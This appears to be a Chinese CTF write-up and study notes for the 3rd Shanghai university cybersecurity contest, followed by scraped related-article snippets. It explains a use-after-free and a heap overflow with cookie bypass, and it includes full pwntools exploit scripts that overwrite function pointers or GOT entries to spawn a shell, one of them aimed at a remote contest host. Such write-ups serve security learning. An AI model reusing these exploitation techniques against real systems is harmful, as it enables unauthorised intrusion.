第三届上海市大学生网络安全大赛wp&学习
wp
0x00 p200
先分析了程序关键的数据结构
分析程序逻辑,在free堆块的时候没有清空指针,造成悬挂指针,并且程序中给了system('/bin/sh'),可以利用uaf
脚本如下:
1.先free,因为free时候的判断,程序会free掉ptr + 4 这块堆
2.然后再申请到这块ptr +4的堆并往里写能让通过free判断的数据
3.再free,此时可以把整块Ton堆给free
4.再申请得到Tom的堆块,往里写数据,让Tom堆块里的function指针值减8
5.执行1.use 此时其实是执行system('/bin/sh')
- from pwn import*
- # context.log_level = 'debug'
- # p = process('./p200')
- addr = 0x0000000000602D70
- addr2 = 0x602D58
- p = remote('106.75.8.58',12333)
- p.recvuntil('1. use, 2. after, 3. free\n')
- p.sendline('')
- p.recvuntil('1. use, 2. after, 3. free\n')
- p.sendline('')
- p.recvuntil('Please input the length:\n')
- p.sendline(str(32))
- p.sendline(p64(addr2).ljust(32, '\x00'))
- p.recvuntil('1. use, 2. after, 3. free\n')
- p.sendline('')
- p.recvuntil('Please input the length:\n')
- p.sendline(str(32))
- p.sendline(p64(addr2).ljust(32, '\x00'))
- p.recvuntil('1. use, 2. after, 3. free\n')
- p.sendline('')
- p.recvuntil('1. use, 2. after, 3. free\n')
- p.sendline('')
- p.recvuntil('Please input the length:\n')
- p.sendline(str(0x30))
- p.sendline(p64(addr).ljust(0x30, '\x00'))
- p.recvuntil('1. use, 2. after, 3. free\n')
- p.sendline('')
- p.recvuntil('Please input the length:\n')
- p.sendline(str(0x30))
- p.sendline(p64(addr).ljust(0x30, '\x00'))
- p.recvuntil('1. use, 2. after, 3. free\n')
- p.sendline('')
- p.interactive()
学习
0x01 heap
也先给出数据结构
程序开始
1.分配了许多随机大小的堆块,又随机释放了其中一些堆块,造成之后再请求的堆块不连续
2.生成了一个随机cookie,在之后的主功能中放在堆内存中检测堆是否被改写
发现漏洞
在edit函数中我们可以重新向name域中写入任意字符,可以利用,假如当前堆块后还有一个堆块,我们就可以复写之后的堆块内容
绕过保护
1.先申请一定数量的堆块,就可以保证堆块连续
2.cookie的检验是首地址加偏移,首地址我们可以覆盖,偏移也可以覆盖,我们就可以让 首地址 + 偏移 = 内存中已经存在的cookie ,从而绕过cookie.
漏洞利用
1.泄露atoi_addr地址,计算出system_addr
2.在bss段写入/bin/sh
3.将person_function_ptr覆盖为system_addr,name_ptr覆盖为bss
4.调用introduce函数(实际上是system('/bin/sh'))
Al3x大佬的脚本,orz:
- #!/usr/bin/env python
- from pwn import *
- #context.log_level = 'debug'
- def add(lName, name, lSname, sname, tutor='no'):
- p.sendlineafter("option:", '')
- p.sendlineafter("name", str(lName))
- p.sendlineafter("name", name)
- p.sendlineafter("schoolname", str(lSname))
- p.sendlineafter("school name", sname)
- p.sendlineafter(")", tutor)
- def remove(ID):
- p.sendlineafter("option:", '')
- p.sendlineafter("delete", str(ID))
- def edit(ID, length, context, flag):
- p.sendlineafter("option:", '')
- p.sendlineafter("edit", str(ID))
- if flag == 0:
- p.sendlineafter("option:", '')
- p.sendlineafter("name", str(length))
- p.sendlineafter("name", context)
- else:
- p.sendlineafter("option:", '')
- p.sendlineafter("schoolname", str(length))
- p.sendlineafter("schoolname", context)
- def show(ID):
- p.sendlineafter("option:", '')
- p.sendlineafter("intro", str(ID))
- #p = process("./heap", env={"LD_PRELOAD":"/home/al3x/libc.so.6"})
- #p = remote('106.75.8.58', 23238)
- p = process("./heap")
- for i in range(120):
- add(0x29, 'aaaa', 0x29, 'bbbb')
- atoi_got = 0x602FE8
- bss_addr = 0x60F000
- add(0x29, 'aaaa', 0x29, 'bbbb') # heap 120
- add(0x29, 'aaaa', 0x29, 'bbbb') # heap 121
- add(0x29, 'aaaa', 0x29, 'bbbb') # heap 122
- add(0x29, 'aaaa', 0x29, 'bbbb') # heap 123
- add(0x29, 'aaaa', 0x29, 'bbbb') # heap 124
- payload = 'a'*0x30 #padding
- payload += 'a'*8 + p64(0x41) #prev_size & size
- payload += p64(0x79) #id
- payload += p64(atoi_got) #name_chunck_ptr
- payload += '\x57\xC0' #name_chunck_size & cookies_off
- edit(120, 0x55, payload, 1)
- show(121)
- p.recvuntil("name is ")
- atoi_addr = u64(p.recv(6).ljust(8, '\x00'))
- system_addr = atoi_addr - 0x36E80 + 0x45390
- payload = 'a'*0x30
- payload += 'a'*8 + p64(0x41)
- payload += p64(0x7a)
- payload += p64(bss_addr)
- payload +='\x3f'
- edit(121, 0x55, payload, 1)
- edit(122, 0x10, '/bin/sh', 0)
- payload = 'a'*0x30
- payload += 'a'*8 + p64(0x41)
- payload += p64(0x7c)
- payload += p64(bss_addr)
- payload += p64(0x3f)
- payload += p64(system_addr)
- payload += p64(bss_addr)
- payload += '\x3f'
- edit(123, 0x6d, payload, 1)
- #raw_input()
- show(124)
- p.interactive()
0x02 list
这题自己的思路是对的,不断删除堆块,最后让指针指向atoi_got,然后泄露atoi_addr,计算system_addr,然后修改atoi_got为system.
可是自己没有理解指针。。。。本应该找个指向got的指针,,而我却直接找got...
第三届上海市大学生网络安全大赛wp&学习的更多相关文章
- 第三届上海市大学生网络安全大赛 流量分析 WriteUp
题目链接: https://pan.baidu.com/s/1Utfq8W-NS4AfI0xG-HqSbA 提取码: 9wqs 解题思路: 打开流量包后,按照协议进行分类,发现了存在以下几种协议类型: ...
- Writeup:第五届上海市大学生网络安全大赛-Web
目录 Writeup:第五届上海市大学生网络安全大赛-Web 一.Decade 无参数函数RCE(./..) 二.Easysql 三.Babyt5 二次编码绕过strpos Description: ...
- 2019年上海市大学生网络安全大赛两道misc WriteUp
2019年全国大学生网络安全邀请赛暨第五届上海市大学生网络安全大赛 做出了两道Misc== 签到 题干 解题过程 题干提示一直注册成功,如果注册失败也许会出现flag. 下载下来是包含010edito ...
- 2019 上海市大学生网络安全大赛 RE部分WP
这次比赛就做了这一道逆向题,看到队友的WP,下面的对v10的加密方式为RC4,从我提取的v4数组就能够察觉出这是CR4了,自己傻乎乎的用OD调试,跟踪数据半天才做出来,还是见得的少了... ...下面 ...
- fzu 2105 Digits Count ( 线段树 ) from 第三届福建省大学生程序设计竞赛
http://acm.fzu.edu.cn/problem.php?pid=2105 Problem Description Given N integers A={A[0],A[1],...,A[N ...
- [2012山东省第三届ACM大学生程序设计竞赛]——n a^o7 !
n a^o7 ! 题目:http://acm.sdut.edu.cn/sdutoj/problem.php?action=showproblem&problemid=2413 Time Lim ...
- 第十一届GPCT杯大学生程序设计大赛完美闭幕
刚刚过去的周六(6月7号)是今年高考的第一天,同一时候也是GPCT杯大学生程序设计大赛颁奖的日子,以下我们用图文再回想一下本次大赛颁奖的过程. 评审过程的一些花絮<感谢各位评审这些天的付出!&g ...
- [2012山东省第三届ACM大学生程序设计竞赛]——Mine Number
Mine Number 题目:http://acm.sdut.edu.cn/sdutoj/problem.php? action=showproblem&problemid=2410 Time ...
- 2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup
2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup 2020年网鼎杯白虎组赛题.zip下载 https://download.csdn.net/download/jameswhit ...
随机推荐
- 計蒜客/小教官(xjb)
題目鏈接:https://nanti.jisuanke.com/t/366 題意:中文題誒~ 思路: 先通過給出的條件構造一個符合題意的數組(可以是任意一個符合條件的數組,菜雞不會證明: 然後構造的數 ...
- 子div块中设置margin-top时影响父div块位置的解决办法及其原因
解决办法①: 若子DIV块中使用margin-top,则在父DIV块中添加:overflow:hidden; 解决办法②: 在子DIV块中用padding-top代替margin-top. 有个叫 b ...
- text() html() empty()
text() 获取中间的文本 不包括标签 html() 获取标签中间的东西 包括标签 与text()是有区别的 empty() 清空标签 ...
- 【转】String hashCode 方法为什么选择数字31作为乘子
某天,我在写代码的时候,无意中点开了 String hashCode 方法.然后大致看了一下 hashCode 的实现,发现并不是很复杂.但是我从源码中发现了一个奇怪的数字,也就是本文的主角31.这个 ...
- HDU4035(概率期望、树形、数学)
和ZOJ3329有些像,都是用期望列出来式子以后,为了解式子,设A[i],B[i],此题又多了C[i],然后用递推(此题是树形dp)去求得ABC,最后结果只跟ABC有关,跟列写的期望数组根本无关. 虽 ...
- 最长上升子序列LIS(云笔记图片版)
- oracle dual是个什么表
这几天一直在研究oracle,常常会用到dual这个系统表,dual表到底是一个什么表?带着疑问查了百度了一下,现在总结一下:DUAL是Oracle与数据字典一起自动创建的一个表,它只有一列:DUMM ...
- centos下svn的ldap认证配置
前提:完成svn的基本安装 一.安装sasl相关组件 #yum install -y cyrus-sasl cyrus-sasl-lib cyrus-sasl-plain 二.查看SASL版本和提供的 ...
- 540 Single Element in a Sorted Array 有序数组中的单一元素
给定一个只包含整数的有序数组,每个元素都会出现两次,唯有一个数只会出现一次,找出这个数.示例 1:输入: [1,1,2,3,3,4,4,8,8]输出: 2 示例 2:输入: [3,3,7,7,10,1 ...
- ubuntu下sublime屏蔽alt键显示顶部菜单栏
在sulime下喜欢把方向键映的上下左右映射为alt+i/k/j/l ,按单词移动alt+h/; 但是在ubuntu下按alt会弹出sublime的顶部菜单栏,如果想屏蔽sublime按alt屏蔽菜单 ...